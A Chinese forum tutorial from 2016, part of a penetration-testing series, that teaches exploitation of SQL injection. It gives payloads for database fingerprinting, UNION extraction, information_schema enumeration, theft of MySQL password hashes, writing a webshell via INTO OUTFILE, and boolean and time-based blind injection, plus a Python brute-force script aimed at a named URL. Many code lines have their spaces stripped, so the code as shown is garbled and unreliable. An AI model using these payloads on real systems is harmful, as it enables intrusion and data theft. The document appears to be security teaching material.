來源:http://bbs.ichunqiu.com/thread-9668-1-1.html?from=ch
作者:zusheng
時間:2016年8月8日 11:03:56
社區:i春秋
前言
找到SQL注入漏洞后,我們可以用它來干什么呢?那么本篇文章給大家帶來的就是SQL注入漏洞利用技術,現在是時候讓我們去體驗一下漏洞利用的樂趣了。
目錄
第三節 利用SQL注入
3.1、識別數據庫
3.2、UINON語句提取數據
3.3、枚舉數據庫
3.4、竊取哈希可令
3.5、獲取WebShell
第四節 SQL盲注利用
4.1、初識SQL盲注
4.2、SQL盲注入技術-基于布爾
4.3、SQL盲注入技術-基于時間
4.4、我們的好朋友-Python
正文
第三節 利用SQL注入
3.1、識別數據庫
要想發動SQL注入攻擊,就要知道正在使用的系統數據庫,不然就沒法提取重要的數據。
首先從Web應用技術上就給我們提供了判斷的線索:
ASP和.NET:Microsoft SQL Server
PHP:MySQL、PostgreSQL
Java:Oracle、MySQL
底層操作系統也給我們提供了線索,比如安裝IIS作為服務器平臺,后臺數據及很有可能是Microsoft SQL Server,而允許Apache和PHP的Linux服務器就很有可能使用開源的數據庫,比如MySQL和PostgreSQL。
基于錯誤識別數據庫
大多數情況下,要了解后臺是什么數據庫,只需要看一條詳細的錯誤信息即可。比如判斷我們事例中使用的數據庫,我們加個單引號。
[SQL]純文本查看復制代碼
1
error:You have an errorinyour SQL syntax;checkthe manual that correspondstoyour MySQL server versionfortherightsyntaxtouse near'''atline 1
從錯誤信息中,我們就可以發現是MySQL。
[SQL]純文本查看復制代碼
1
2
3Microsoft OLE DB ProviderforODBC Drivers 錯誤'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:
上面錯誤信息可以發現是Microsoft SQL Server,如果錯誤信息開頭是ORA,就可以判斷數據庫是Oracle,很簡單,道理都是一樣的,就不一一列舉了。
基于數字函數推斷
數據庫服務器函數
Microsoft SQL Server@@pack_received、@@rowcount
MySQLconnection_id()、last_insert_id()、row_count()
OracleBITAND(1,1)
PostgreSQLselect EXTRACT(DOW FROM NOW())
這里以我們搭建的環境為例來做推斷:
connection_id()不管它值多少,基本上都是正的,也就是為真,last_insert_id()用法大家自行百度,這里不存在insert語句,默認情況就是返回零,也就是假。
那么如果andconnection_id()數據返回正常,andconnection_id()不返回數據,我們就可以推斷這是一個MySQL數據庫了。
3.2、UINON語句提取數據
UNION操作符可以合并兩條或多條SELECT語句的查詢結果,基本語法如下:
[SQL]純文本查看復制代碼
1
2
3selectcolumn-1column-2fromtable-1
UNION
selectcolumn-1column-2fromtable-2
如果應用程序返回了第一條查詢得到的數據,我們就可以在第一條查詢后面注入一個UNION運算符來添加一個任意查詢,來提取數據,是不是很容易啊,當然在使用UNION之前我們必須要滿足兩個條件:
兩個查詢返回的列數必須相同
兩個查詢語句對于列返回的數據類型必須相同
首先我來看第一個條件,如何知道第一條查詢的列數呢?我們可以使用NULL來嘗試,由于NULL值會被轉換成任何數據類型,所以我們不用管第二個條件。
就是這樣的一個個加上去進行嘗試,直到不返回錯誤。
神奇的ORDER BY子句
除了上述方法,我們還可以是用order by子句得到準確列數
我們先嘗試了12,返回錯誤,說明列數是小于12的,我們繼續嘗試了6,返回錯誤,同理,列數小于6的,我們嘗試3,返回正常,說明列數是大于等于3的,繼續嘗試4,返回錯誤。說明列數是小于4,列數大于等于3,小于4,可以得到列數是3。使用order by子句可以幫助我們快速得到列數。
得到列數后我們還需要滿足第二個條件
很簡單,只要一次一列使用我們的測試字符串替換NULL即可,可以發現第一列和第二列都可以存放字符串,第三列數據沒有輸出。
接下來就讓我們提取數據庫用戶名和版本號:
3.3、枚舉數據庫
這里由于篇幅問題,我們只以MySQL數據庫為例了,枚舉數據庫并提取數據遵循一種層次化的方法,首先我們提取數據庫名稱,然后提取表,再到列,最后才是數據本身。要想獲取遠程數據庫的表、列,就要訪問專門保存描述各種數據庫結構的表。通常將這些結構描述信息成為元數據。在MySQL中,這些表都保存在information_schema數據庫中
第一步:提取數據庫
在MySQL中,數據庫名存放在information_schema數據庫下schemata表schema_name字段中
[SQL]純文本查看復制代碼
1
id=1unionselectnull,schema_name,nullfrominformation_schema.schemata
第二步:提取表名
在MySQL中,表名存放在information_schema數據庫下tables表table_name字段中
[SQL]純文本查看復制代碼
1
?id=1unionselectnull,table_name,nullfrominformation_schema.tableswheretable_schema='ichunqiu'
這里我使用where子句來篩選了,只返回數據庫ichunqiu下的表名,想返回所有表名,去掉where子句就行了。
第三步:提取字段名
在MySQL中,字段名存放在information_schema數據庫下columns表column_name字段中
同樣加上where子句限制,不讓你都不知道字段名是哪個數據庫哪個表下。
第四步:提取數據
這一步就簡單了,不再介紹了,看圖。
3.4、竊取哈希可令
MySQL在mysql.user表中存儲哈希口令,怎么提取看下圖:
哈希口令是通過使用PASSWORD()函數計算的:
具體算法取決于MySQL安裝的版本。
3.5、獲取WebShell
利用SQL注入攻擊獲取WebShell其實就是在向服務器寫文件。(注意:這里我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。
[SQL]純文本查看復制代碼
1
selectintooutfile(dumpfile)? //MySQL寫文件命令
例如:
[SQL]純文本查看復制代碼
1
select""intooutfile"F:\\www\\test.php";
那么其它關系數據庫管理系統同樣的原理寫文件,就不在過多介紹了。
第四節 SQL盲注利用
4.1、初識SQL盲注
SQL盲注是指在無法使用詳細數據庫錯誤消息或帶內數據連接的情況下,利用數據庫查詢的輸入審查漏洞從數據庫提取信息或提取與數據庫查詢相關信息的技術。
常見的SQL盲注入場景:
1、提交一個導致SQL查詢無效時,會返回一個通用錯誤頁面,提交正確則會返回一個內容可被適度控制的頁面。
2、提交一個導致SQL查詢無效時,會返回一個通用錯誤頁面,提交正確則會返回一個內容不可控的頁面。
3、提交受損或不正確的SQL既不會產生錯誤頁面,也不會以任何方式影響頁面輸出。
4.2、SQL盲注入技術-基于布爾
了解完SQL定義以及這類漏洞的注入場景后,現在我帶大家深入研究利用這些漏洞的技術。
首先我們我們提交錯誤的SQL,看資源是否返回通用的錯誤頁面。
我們能控制頁面的輸出結果嗎?
顯然可以
[SQL]純文本查看復制代碼
1
2id=1and1=1True
id=1and1=2False
怎么利用?
在介紹利用技巧之前我們先來介紹一個重要的SQL函數
[SQL]純文本查看復制代碼
1
2SUBSTRING(str,pos,len)
沒有len參數的形式返回一個字符串從字符串str從位置pos開始。一個len參數的形式返回len個字符長的字符串str的子串,從位置pos開始,形式使用的是標準的SQL語法。另外,也可以使用負的值為pos。在這種情況下,剛開始的子串位置的字符結尾的字符串,而不是開始。負的值可用于為pos在此函數中的任何形式的。
舉例利用-獲取數據的用戶名
[SQL]純文本查看復制代碼
1
2id=1andSUBSTRING(user(),1,1)='a'
#利用SUBSTRING()函數提取用戶名的第一個字符,看等于字符a嗎?,如果等于頁面返回True狀態,不等于返回False狀態。
[SQL]純文本查看復制代碼
1
2id=1andSUBSTRING(user(),1,1)='r'
#返回True狀態,也就是頁面正常,表示用戶名第一個字符是r
這也就是基于布爾的SQL盲注入技術
4.3、SQL盲注入技術-基于時間
和基于布爾的SQL盲注入技術原理其實大同小異,當某一狀態為真時,讓響應暫停幾秒鐘,而當狀態為假時,不出現暫停。
廢話不多說看技巧利用。
[SQL]純文本查看復制代碼
1
2id=1unionselectif(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null
#注意使用union的條件哦,前面介紹了。同樣的道理,提取用戶名前四個字符做判斷,正確就延遲4秒,錯誤返回1
4.4、我們的好朋友-Python
使用Python自動化注入獲取用戶名事例:
MySQL提取用戶名進行比較不區分大小寫,所以我們去掉其中的大寫字母。代碼很簡單,就不解釋了。
[Python]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26importrequests
defattack():
print'launch an attack'
url='http://www.isbase.com/sqlbool.php'
user='[+]system_user: '
zimu1=range(33,65)
zimu2=range(91,128)
zimu=zimu1+zimu2
forlinrange(1,16):
foriinzimu:
payload="and SUBSTRING(user(),"+str(l)+",1)='"+chr(i)+"'"
payload={'id':'1 '+payload}
r=requests.get(url, params=payload)
wenben=r.text
wenben=wenben.encode("utf-8")
result=wenben.find("jim")
if(result !=-1):
user=user+chr(i)
printuser
if__name__=='__main__':
print'Author:zusheng'
print'bbs:ichunqiu.com'
attack()
print'[+]ok'
結束語
從8月8號開始,到現在差不多一個星期了,終于在空余時間完成了這篇文章,感謝大家的支持,寫的自己感覺很滿意了,但是并不是很完美,希望以后能給大家帶來更多精華的文章吧。還有最后一篇高級部分。堅持吧,努力給大家帶來更詳細更深入的好文。技術有限,如文中有錯誤請指出,謝謝。
系列文章預告及導航
滲透攻防Web篇-SQL注入攻擊初級(狀態:已更新)
第一節 注入攻擊原理及自己編寫注入點
第二節 尋找及確認SQL注入
滲透攻防Web篇-SQL注入攻擊高級(狀態:更新中)
第五節 避開過濾方法總結
第六節 探討SQL注入防御技巧